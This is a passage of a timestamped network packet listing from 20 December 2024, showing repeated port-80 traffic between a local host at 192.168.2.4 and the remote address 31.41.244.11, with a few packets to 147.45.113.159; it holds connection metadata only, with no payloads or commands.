Dec 20, 2024 04:12:49.092547894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.092614889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.092654943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.093600035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.093648911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.093703032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.093741894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.094682932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.094724894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.094801903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.094849110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.095823050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.095868111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.095927000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.095968008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.097088099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.097131968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.097193003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.097230911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.098011971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.098056078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.098115921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.098157883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.099107981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.099148989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.099215031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.099253893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.100225925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.100266933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.100341082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.100385904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.101344109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.101385117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.101416111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.101455927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.102462053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.102504969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.102545977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.102581978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.103548050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.103593111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.103650093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.103688955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.104636908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.104680061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.104691982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.104732990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.105783939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.105823040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.105846882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.105889082 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.106869936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.106910944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.106965065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.107004881 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.107988119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.108033895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.108107090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.108148098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.109061003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.109101057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.109175920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.109231949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.110183954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.110225916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.110301971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.110337973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.111282110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.111323118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.111392021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.111429930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.112405062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.112447977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.112509012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.112549067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.113497972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.113538980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.113667011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.113707066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.114604950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.114645958 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.114742041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.114783049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.115730047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.115771055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.115837097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.115879059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.116822004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.116864920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.116915941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.116955996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.117927074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.117969990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.118038893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.118079901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.119024992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.119066954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.119079113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.119131088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.120132923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.120176077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.120251894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.120290041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.121249914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.121288061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.121295929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.121340990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.122358084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.122400045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.122513056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.122556925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.123475075 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.123517990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.123570919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.123611927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.124567032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.124608040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.124670982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.124711990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.125665903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.125705004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.125783920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.125828028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.126776934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.126822948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.126943111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.126982927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.127913952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.127957106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.127959013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.128010988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.128990889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.129030943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.129091978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.129129887 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.130093098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.130134106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.130194902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.130235910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.131192923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.131237030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.131308079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.131347895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.132296085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.132339001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.132424116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.132466078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.133349895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.133393049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.168040037 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.168096066 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.267450094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.267518044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.267555952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.267599106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.267975092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.268018961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.268069983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.268111944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.269078016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.269119024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.269171000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.269213915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.270256996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.270303011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.270359039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.270399094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.271276951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.271321058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.271384954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.271425962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.272411108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.272454977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.272521973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.272562981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.273514986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.273555994 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.273578882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.273616076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.274631977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.274677038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.274784088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.274827957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.275723934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.275764942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.275826931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.275867939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.276807070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.276848078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.276920080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.276962042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.277898073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.277939081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.278033972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.278075933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.279026985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.279067993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.279123068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.279165030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.280134916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.280175924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.280246019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.280287981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.281218052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.281258106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.281332970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.281373978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.282367945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.282414913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.282444954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.282489061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.283459902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.283499956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.283559084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.283598900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.284548998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.284590006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.284658909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.284698963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.285677910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.285720110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.285722971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.285763025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.286778927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.286822081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.286890030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.286931038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.287882090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.287926912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.288002968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.288043022 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.288971901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.289005041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.289508104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.289551020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.290088892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.290129900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.290205956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.290245056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.291187048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.291227102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.291251898 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.291290045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.292299986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.292341948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.292484045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.292522907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.293414116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.293454885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.293530941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.293569088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.294516087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.294558048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.294640064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.294678926 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.295613050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.295653105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.295731068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.295772076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.296722889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.296766043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.296811104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.296850920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.297843933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.297883987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.297960997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.298002005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.298943043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.298983097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.299014091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.299055099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.300065994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.300107956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.300177097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.300218105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.301217079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.301259041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.301332951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.301373005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.302268982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.302342892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.302561998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.303409100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.303452969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.303530931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.303572893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.304497957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.304541111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.304598093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.304640055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.305619001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.305656910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.305737019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.305778980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.306694031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.306735039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.306806087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.306844950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.307795048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.307835102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.307900906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.307940960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.308913946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.308957100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.309026957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.309068918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.310055017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.310096025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.310167074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.310204983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.311119080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.311160088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.311214924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.311255932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.312222004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.312263966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.312320948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.312361002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.313333035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.313375950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.313430071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.313468933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.314460993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.314501047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.314554930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.314594984 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.315524101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.315562963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.315634012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.315674067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.316639900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.316679955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.316752911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.316790104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.317756891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.317796946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.317863941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.317904949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.318857908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.318901062 CET	49875	80	192.168.2.4	31.41.244.11
